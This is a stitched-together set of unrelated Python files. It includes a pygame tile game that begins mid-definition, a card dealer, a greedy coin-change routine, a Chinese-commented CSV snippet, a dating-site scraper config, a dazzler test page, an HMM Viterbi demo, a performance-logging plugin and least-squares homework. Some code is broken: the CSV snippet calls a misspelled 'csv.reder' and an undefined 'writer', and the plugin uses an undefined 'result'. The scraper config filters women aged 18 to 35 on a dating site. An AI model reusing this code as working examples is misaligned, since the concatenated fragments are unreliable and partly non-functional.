    DIRT : 0,
    IRON : 3,
    STONE : 0,
    WATER : 1,
    WOOD : 4
}

#item ids
HEALTHPOTION = 0
ATTACKPOTION = 1
HELMET = 2
CHESTPLATE = 3
CHAPS = 4
BOOTS = 5
SWORD = 6

#colour RGB values
BLACK = (0,0,0)
GRAY = (168, 168, 168)
BROWN = (153,76,0)
IRONBROWN = (210,105,30)
GREEN = (92, 214, 94)
LIGHTGREEN = (66, 244, 98)
BLUE = (0,0,255)
RED = (255,0,0)
PINK = (255,0,255)
MAHOGANY = (103,10,10)
WHITE = (255,255,255)

colours = { #library linking each tile ID to a colour
    DIRT : BROWN,
    IRON : IRONBROWN,
    STONE: GRAY,
    WATER: BLUE,
    PORTAL: BLACK,
    WOOD: MAHOGANY
}

pygame.init() #initialise all imported PyGame modules

#set the screen size of the grid and making the window resizable
screen = pygame.display.set_mode((MAPWIDTH*TILESIZE, MAPHEIGHT*TILESIZE),pygame.RESIZABLE)

#inititalising fonts
font_player = pygame.font.SysFont('Arial', 15)
font_monster = pygame.font.SysFont('Arial', 10)
font_timer = pygame.font.SysFont('Arial', 50)
font_died = pygame.font.SysFont('Arial', 200)
font_saveOptions = pygame.font.SysFont('Arial', 25)

width, height = pygame.display.get_surface().get_size() #storing width and height of screen in variables
done = False #variable to be used when exiting
pause = False #variable to pause the game
showInput = False

CURSOR = Rect(0, 0, TILESIZE, TILESIZE) #initialising a rectangle to be used as a cursor

#main player variables
playerHealth = 100
playerAttackPoints = 50
playerPoints = 0
playerLevel = 1
movementPoints = 2
iron=0
water=0
xp=0
died = False
deathAnimationArray =[]

# Create TextInput-object
usernameText = pygame_textinput.TextInput()
username = ""

#monster variables
monsters = []
MONSTERHEALTH = 100
MONSTERATTACK = 30
monsterMovementPoints = 2
MOVEMONSTER = 1000
moveMonsterEvent = pygame.USEREVENT

genBoss = False
boss=[]
bossHealth=500
bossDied = False

clock = pygame.time.Clock()

pygame.time.set_timer(moveMonsterEvent, MOVEMONSTER) #clock to move monster

playerx = random.randint(0,MAPWIDTH)*TILESIZE #giving the player a random x coord on the grid
playery = random.randint(0,MAPHEIGHT)*TILESIZE #giving the player a random x coord on the grid

generateTileMap()

while not done:
    playerTilex = playerx//TILESIZE
    playerTiley = playery // TILESIZE

    mousex, mousey = pygame.mouse.get_pos()
    mousex = mousex - (mousex % TILESIZE) + TILESIZE / 2  # getting the x tile the mouse is on
    mousey = mousey - (mousey % TILESIZE) + TILESIZE / 2  # getting the y tile the mouse is on

    if pause == False and died == False:
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                done = True
            if event.type == moveMonsterEvent:
                moveMonster()
                moveBoss()

            if event.type == pygame.KEYDOWN:
                if event.key == pygame.K_ESCAPE:
                    pause = not pause

            if event.type == pygame.MOUSEBUTTONDOWN:
                (button1, button2, button3,) = pygame.mouse.get_pressed()  # get button pressed

                if button1:

                    xDist = ((mousex - playerx) - TILESIZE / 2)#distance to travel
                    yDist = ((mousey - playery) - TILESIZE / 2)#distance to travel

                    xTilePos = (mousex-(TILESIZE/2))/TILESIZE
                    yTilePos = (mousey-(TILESIZE/2))/TILESIZE

                    if genBoss == True: #only attacking boss if boss has been generated
                        bossBattle(xTilePos, yTilePos, xDist, yDist) #managing boss battle

                    # move player
                    if tileMap[int(yTilePos)][int(xTilePos)][0] != WATER: #making sure the player cant move onto water
                        # making sure the player can only move a certian distance per click
                        if abs(xDist // TILESIZE) > movementPoints:
                            if xDist > 0:
                                xDist = 2 * TILESIZE
                            else:
                                xDist = -(2 * TILESIZE)
                        if abs(yDist // TILESIZE) > movementPoints:
                            if yDist > 0:
                                yDist = 2 * TILESIZE
                            else:
                                yDist = -(2 * TILESIZE)

                        if tileMap[int((playery + yDist)//TILESIZE)][int((playerx + xDist)//TILESIZE)][0] != WATER: #making sure the player cant land on water/stone
                            #moving player
                            playerx = playerx + xDist
                            playery = playery + yDist
                            cursorColour = LIGHTGREEN
                            for i in range(len(monsters)): #checking if player is attacking monster
                                if monsters[i][0] == int(playerTilex) and monsters[i][1] == int(playerTiley):
                                    playerAttack(i)
                                    monsterAttack()
                                    break

                                    #indicating the player cannot move to the selected tile
                        elif tileMap[int((playery + yDist) // TILESIZE)][int((playerx + xDist) // TILESIZE)][0] == WATER:
                            cursorColour = RED
                    else:
                        cursorColour = RED

                    ## moving the player through portals
                    if tileMap[int(playerTiley)][int(playerTilex)][0] == PORTAL:
                        del monsters[::]
                        generateTileMap()

                elif button3:

                    ##### GETTING TILE POSITIONS OF TILES AND PLAYER ###
                    xTilePos = (mousex - (TILESIZE / 2)) / TILESIZE
                    yTilePos = (mousey - (TILESIZE / 2)) / TILESIZE
                    xPlayerPos = (playerx //TILESIZE)
                    yPlayerPos = (playery //TILESIZE)

                    if -2 < xTilePos-xPlayerPos < 2 and -2 < yTilePos-yPlayerPos < 2:
                        if tileMap[int(yTilePos)][int(xTilePos)][1] > 0:
                            cursorColour=PINK
                            playerPoints=playerPoints+1 #adding player points
                            tileMap[int(yTilePos)][int(xTilePos)][1]=(tileMap[int(yTilePos)][int(xTilePos)][1])-1 #removing points from tile
                            if tileMap[int(yTilePos)][int(xTilePos)][0] == IRON: #adding points to iron stash
                                iron=iron+1
                            elif tileMap[int(yTilePos)][int(xTilePos)][0] == WATER: #adding points to iron stash
                                water=water+1

        renderEnviroment()  # call the function to render the enviroment
        renderPlayer()  # call the function to render the player
        renderMonster()  # call the function to render the monsters
        renderBoss()
        if xp == 10:  # check if the player's xp level is 10
            playerLevel = playerLevel + 1  # increment the player's level by 1
            playerHealth = playerHealth + 100 # adding health to the player
            xp = 0  # reset the xp level back to 0

        if event.type == pygame.MOUSEBUTTONDOWN:
            (button1, button2, button3,) = pygame.mouse.get_pressed()  # get button pressed
        else:
            cursorColour = (0, 0, 0)
        CURSOR.center = (mousex, mousey)
        pygame.draw.rect(screen, cursorColour, CURSOR, 2)
        ##########################

    if pause == True:
        (button1, button2, button3,) = pygame.mouse.get_pressed()
        x, y = pygame.mouse.get_pos()
        if showInput == False:
            for event in pygame.event.get():
                if button1:  # checking if player clicked buttons
                    if x > ((width / 2) - 125) and x < ((width / 2) - 75):  # x bounds of save button
                        if y > ((height / 2) - 50) and y < ((height / 2) + 25):  # y bounds of save button
                            showInput = True
                            save_load = True

                    if x > ((width / 2) + 80) and x < ((width / 2) + 180):  # x bounds of load button
                        if y > ((height / 2) - 50) and y < ((height / 2) + 25):  # y bounds of load button
                            showInput = True
                            save_load = False

        saveOptions()
        if showInput == True:
            renderInput(usernameText, save_load)
            if len(usernameText.get_text()) > 9:
                username = usernameText.get_text()
                if save_load == True:
                    fileManager.saveGame(username, playerHealth, playerAttackPoints, playerLevel, xp, playerx, playery)
                else:
                    fileManager.loadGame(username)
                    loadData(fileManager.data)

                pause = False

    if playerLevel%10 ==0  and genBoss == False:
        generateBoss()
        genBoss = True

    if died == True:
        deathAnimation()
        screen.blit(font_died.render("YOU DIED", True, (255,255,255)), (width/2-500, height/2-100))  #redering the player health
    pygame.display.update()
    clock.tick(60)


# game.py

import random
from itertools import product

SUITS = "♠ ♡ ♢ ♣".split()
RANKS = "2 3 4 5 6 7 8 9 10 J Q K A".split()

def create_deck(shuffle=False):
    """Create a new deck of 52 cards"""
    deck = list(product(SUITS, RANKS))
    if shuffle:
        random.shuffle(deck)
    return deck

def deal_hands(deck: list) -> tuple:
    """Deal the cards in the deck into four hands"""
    return (deck[0::4], deck[1::4], deck[2::4], deck[3::4])

def play():
    """Play a 4-player card game"""
    deck = create_deck(shuffle=True)
    names = "P1 P2 P3 P4".split()

    for name, cards in zip(names, deal_hands(deck)):
        card_str = " ".join(f"{s}{r}" for (s, r) in cards)
        print(f"{name}: {card_str}")

if __name__ == "__main__":
    play()


def coinChange(totalNumber, coins):
    N = totalNumber
    coins.sort()
    count=0
    while N!=0:
        if N>=coins[len(coins)-1]:
            count+=1
            print(coins[len(coins)-1])
            N-=coins[len(coins)-1]
        else:
            for i in range(len(coins)-1,0,-1):
                if coins[i-1]<= N <coins[i]:
                    count+=1
                    print(coins[i-1])
                    N-=coins[i-1]
                    break
    return count

    '''index = len(coins)-1
    while True:
        coinValue = coins[index]
        if N>= coinValue:
            print(coinValue)
            N = N- coinValue
        if N < coinValue:
            index-=1
        if N==0:
            break'''

coins = [1,2,5,20,50,100,1000]
print("Min no of coins used",coinChange(201,coins))


'''
    读写csv文件
'''
'''
    csv是excel文件中的一类，可以使用标准库中的csv模块
    csv每行都是一行数据，字段之间用逗号隔开
'''
import csv

# 读
rf = open('1.csv', 'rb')  # 以二进制打开
reader = csv.reder(rf)  # 生成一个迭代器

# 写
wf = open('1_1.csv', 'wb')
write = csv.writer(wf)
write.writerow(reader.next())  # 将读的一行写入

# 如果是整理写数据，则可以做如下代码
import csv

with open('文件名', 'rb') as rf:
    reader = csv.reader(rf)
    with open('文件名', 'wb') as wf:
        write = csv.writer(wf)
        headers = reader.next()
        writer.writerow(headers)  # 将头部信息添加到第一行
        for row in reader:  # 指针已经在第一行了，所以循环从第二行开始
            # 进行循环插入数据，插入前可以随意进行判断等其他操作
            writer.writerow(row)


from country_list import country_list
#from anonum_pars import proxy

HEADERS = {
    "user-agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0"
}

#PROXY = proxy

SITE = 'habr'
page = 1
if SITE == 'habr':
    DOMEN = "https://habrahabr.ru/"

elif SITE == 'mendo':
    AGE_MIN = 18
    AGE_MAX = 35
    COUNTRY = "Russia"
    DOMEN = "http://www.meendo.com"
    payload = {"gender": 2, "amin": AGE_MIN, "amax": AGE_MAX, "photo": 1, "country": country_list.get(COUNTRY),
               "region": 0, "city": 0}
    SEARCH_URL = (DOMEN + "/search/#/search/")


"""
Page component_as_aspect of dazzler
Created 2019-06-17
"""
from dazzler.components import core
from dazzler.system import Page, Trigger, BindingContext, State

from tests.components import spec_components as spec

arr = list(range(1, 12))

page = Page(
    __name__,
    core.Container([
        spec.ComponentAsAspect(
            identity='component',
            single=core.Button('single', identity='single'),
            array=[
                core.Input(value=x, identity=f'array-{x}', type='number')
                for x in arr
            ],
            shape={'shaped': core.Button('shaped', identity='shaped')},
            list_of_dict=[
                {
                    'label': core.Container(
                        f'label{x}', identity=f'label-{x}'
                    ),
                    'value': f'label-{x}'
                } for x in arr
            ]
        ),
        core.Container(identity='single-output'),
        core.Container([
            core.Container(identity=f'output-array-{x}') for x in arr
        ]),
        core.Button('click sum', identity='click-sum'),
        core.Container(identity='sum-output'),
        core.Container(identity='shaped-output'),
    ])
)

async def bind_click(ctx: BindingContext):
    await ctx.set_aspect(
        f'{ctx.trigger.identity}-output',
        children=f'Click {ctx.trigger.identity}: {ctx.trigger.value}'
    )

page.bind(Trigger('single', 'clicks'))(bind_click)
page.bind(Trigger('shaped', 'clicks'))(bind_click)

async def bind_array_value(ctx: BindingContext):
    await ctx.set_aspect(
        f'output-{ctx.trigger.identity}',
        children=f'{ctx.trigger.identity} value: {ctx.trigger.value}'
    )

for i in arr:
    page.bind(Trigger(f'array-{i}', 'value'))(bind_array_value)

@page.bind(
    Trigger('click-sum', 'clicks'),
    *[State(f'array-{x}', 'value') for x in range(1, 10)]
)
async def bind_array_state_sum(ctx: BindingContext):
    await ctx.set_aspect(
        'sum-output',
        children=f'Sum {sum(state["value"] for state in ctx.states.values())}'
    )


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import huhu_seg.hmm as hmm

states = ('Healthy', 'Fever')
observs = ('normal', 'cold', 'dizzy')
init_probs = {'Healthy':0.6, 'Fever':0.4}
trans_probs = {
        'Healthy': {'Healthy': 0.7, 'Fever': 0.3},
        'Fever': {'Healthy': 0.4, 'Fever': 0.6},
        }
emit_probs = {
        'Healthy': {'normal': 0.5, 'cold': 0.4, 'dizzy': 0.1},
        'Fever': {'normal': 0.1, 'cold': 0.3, 'dizzy': 0.6},
        }

states2index, index2states = hmm.gen_tag2index(states)
observs2index, index2observs = hmm.gen_tag2index(observs)

trans_matrix = hmm.map2matrix(trans_probs, states2index, states2index)
emit_matrix = hmm.map2matrix(emit_probs, states2index, observs2index)
init_vec = hmm.map2vec(init_probs, states2index)

obs_seq = ['normal', 'cold', 'dizzy', 'cold', 'dizzy']
obs_seq = hmm.seqs2index(obs_seq, observs2index)
h = hmm.HMM(trans_matrix, emit_matrix, init_vec)
theta, prev_states = h.viterbi(obs_seq)
print(" " * 7, " ".join(("%10s" % index2observs[i]) for i in obs_seq))
for s in range(len(states2index)) :
    print('%7s: ' % index2states[s] + ''.join('%10s' % ('%f' % v) for v in theta[s]))

prob, path = h.state_path(obs_seq)
for s in path :
    print(index2states[s])
print(prob)


#!/usr/bin/env python3.9

import json
import subprocess
import sys
import typing
from arcaflow_plugin_sdk import plugin
from pcp_schema import (
    InputParams,
    PerfOutput,
    Error,
)

@plugin.step(
    id="start-pcp",
    name="Start PCP",
    description="Start the PCP data logging tools",
    outputs={"success": PerfOutput, "error": Error},
)
def start_pcp(
    params: InputParams,
) -> typing.Tuple[str, typing.Union[PerfOutput, Error]]:

    pcmd_cmd = [
        "/usr/libexec/pcp/lib/pmcd",
        "start",
    ]

    # Start the PCMD daemon
    print("==>> Starting PCMD ...")
    try:
        print(
            subprocess.check_output(
                pcmd_cmd,
                text=True,
                stderr=subprocess.STDOUT,
            )
        )
    except subprocess.CalledProcessError as error:
        return "error", Error(
            "{} failed with return code {}:\n{}".format(
                error.cmd[0], error.returncode, error.output
            )
        )

    sar_cmd = [
        "/usr/lib64/sa/sa1",
        "1",
    ]

    # Start SAR collection
    print("==>> Starting SAR ...")
    try:
        print(
            subprocess.Popen(
                sar_cmd,
                text=True,
                stderr=subprocess.STDOUT,
            )
        )
    except subprocess.CalledProcessError as error:
        return "error", Error(
            "{} failed with return code {}:\n{}".format(
                error.cmd[0], error.returncode, error.output
            )
        )

    pmlogger_cmd = [
        "pmlogger",
        "-c",
        "pmlogger.conf",
        "-t",
        "1",
        "pmlogger-out",
    ]

    # Start pmlogger
    print("==>> Starting pmlogger ...")
    try:
        print(
            subprocess.run(
                pmlogger_cmd,
                text=True,
                stderr=subprocess.STDOUT,
                timeout=params.run_duration,
            )
        )
        # It should not end itself, so getting here means there was an
        # error.
        return "error", Error(
            result.returncode,
            result.stdout.decode("utf-8") + result.stderr.decode("utf-8"),
        )
    except subprocess.CalledProcessError as error:
        return "error", Error(
            "{} failed with return code {}:\n{}".format(
                error.cmd[0], error.returncode, error.output
            )
        )
    except subprocess.TimeoutExpired:
        # Worked as intended. It doesn't end itself, so it finished when it
        # timed out.
        #pcp2json -a _pcp/${PTS_FILENAME} -t 1s -c pts/pcp2json.conf :sar :sar-b :sar-r :collectl-sn -E | tail -n+3 > ${PTS_FILENAME}.json
        pcp2json_cmd = [
            "pcp2json",
            "-a",
            "pmlogger-out",
            "-t",
            "1s",
            "-c",
            "pcp2json.conf",
            ":sar",
            ":sar-b",
            ":sar-r",
            "-E",
        ]
        # Start the PCMD daemon
        print("==>> Converting output to json...")
        try:
            pcp_out = (
                subprocess.check_output(
                    pcp2json_cmd,
                    text=True,
                    stderr=subprocess.STDOUT,
                )
            ).strip().split("\n",2)[2]
            pcp_out_json = json.loads(pcp_out)
        except subprocess.CalledProcessError as error:
            return "error", Error(
                "{} failed with return code {}:\n{}".format(
                    error.cmd[0], error.returncode, error.output
                )
            )
        return "success", PerfOutput(pcp_out_json)

if __name__ == "__main__":
    sys.exit(
        plugin.run(
            plugin.build_schema(
                # List your step functions here:
                start_pcp,
            )
        )
    )


# lstsq_eigs.py
"""Volume 1: Least Squares and Computing Eigenvalues.
<Name> Elaine Swanson
<Class> MTH 420
<Date> 2/10/2021
"""

import numpy as np
from scipy import linalg as la
from matplotlib import pyplot as plt

# (Optional) Import functions from your QR Decomposition lab.
# import sys
# sys.path.insert(1, "../QR_Decomposition")
# from qr_decomposition import qr_gram_schmidt, qr_householder, hessenberg

# Problem 1
def least_squares(A, b):
    """Calculate the least squares solutions to Ax = b by using the QR
    decomposition.

    Parameters:
        A ((m,n) ndarray): A matrix of rank n <= m.
        b ((m, ) ndarray): A vector of length m.

    Returns:
        x ((n, ) ndarray): The solution to the normal equations."""
    Q,R = la.qr(A,mode="economic")
    b2 = Q.T @ b #Or we can do... np.dot(Q.T, b)
    x = la.solve_triangular(R, b2)

    return x

A = np.random.random((5,2))
b = np.random.random(5)
print(least_squares(A, b))

# Problem 2
def line_fit():
    """Find the least squares line that relates the year to the housing price
    index for the data in housing.npy. Plot both the data points and the least
    squares line."""
    x,b = np.load('housing.npy').T
    A = np.column_stack((x,np.ones((x.shape[0], 1)))) #stack col of 1s to matrix
    k, m = least_squares(A, b)
    plt.scatter(x, b)
    plt.plot([0,16],[m,10*k+m])
    return plt.show()

print(line_fit())

# Problem 3
def polynomial_fit():
    """Find the least squares polynomials of degree 3, 6, 9, and 12 that relate
    the year to the housing price index for the data in housing.npy. Plot both
    the data points and the least squares polynomials in individual subplots."""

    x,b = np.load("housing.npy").T
    """x_dup = np.column_stack([x]*4) #stack col four times vertically
    A_m = np.column_stack((x_dup,np.ones((x_dup.shape[0], 1))))
    A12 = np.vander(A_m[:,0], 13)
    A9 = np.vander(A_m[:,1], 10)
    A6 = np.vander(A_m[:,2], 7)
    A3 = np.vander(A_m[:,3], 4)

    x12, res12, rnk12, s12 = la.lstsq(A12,b) #Won't work with getting x alone, why?
    x9, res9, rnk9, s9 = la.lstsq(A9,b)
    x6, res6, rnk6, s6 = la.lstsq(A6,b)
    x3, res3, rnk3, s3 = la.lstsq(A3,b)

    #x: least-squares solution. Return shape matches shape of b.
    #residue: square of the 2-norm for each column in b - a x, if M > N and ndim(A) == n
    #s: singular values of a."""

    p12 = np.poly1d(np.polyfit(x,b,12)) #Polynomial with coef. from np.polyfit
    p9 = np.poly1d(np.polyfit(x,b,9))
    p6 = np.poly1d(np.polyfit(x,b,6))
    p3 = np.poly1d(np.polyfit(x,b,3))

    x_fig = np.linspace(0,16)
    y12_fig = p12(x_fig)
    y9_fig = p9(x_fig)
    y6_fig = p6(x_fig)
    y3_fig = p3(x_fig)

    fig, axs = plt.subplots(2, 2)
    fig.suptitle('Polynomial curve fitting')
    fig.subplots_adjust(hspace=.5)

    axs[0, 0].scatter(x, b, marker = '.', color = 'steelblue', label = 'Housing data')
    axs[0, 0].plot(x_fig, y12_fig, color = 'orangered', label = 'Fit line')
    axs[0, 0].set_title('Polynomials of degree 12')
    axs[0, 0].legend(loc = 'lower right')

    axs[0, 1].scatter(x, b, marker = '.', color = 'steelblue', label = 'Housing data')
    axs[0, 1].plot(x_fig, y9_fig, color = 'orangered', label = 'Fit line')
    axs[0, 1].set_title('Polynomials of degree 9')
    axs[0, 1].legend(loc = 'lower right')

    axs[1, 0].scatter(x, b, marker = '.', color = 'steelblue', label = 'Housing data')
    axs[1, 0].plot(x_fig, y6_fig, color = 'orangered', label = 'Fit line')
    axs[1, 0].set_title('Polynomials of degree 6')
    axs[1, 0].legend(loc = 'lower right')

    axs[1, 1].scatter(x, b, marker = '.', color = 'steelblue', label = 'Housing data')
    axs[1, 1].plot(x_fig, y3_fig, color = 'orangered', label = 'Fit line')
    axs[1, 1].set_title('Polynomials of degree 3')
    axs[1, 1].legend(loc = 'lower right')

    return plt.show()
print(polynomial_fit())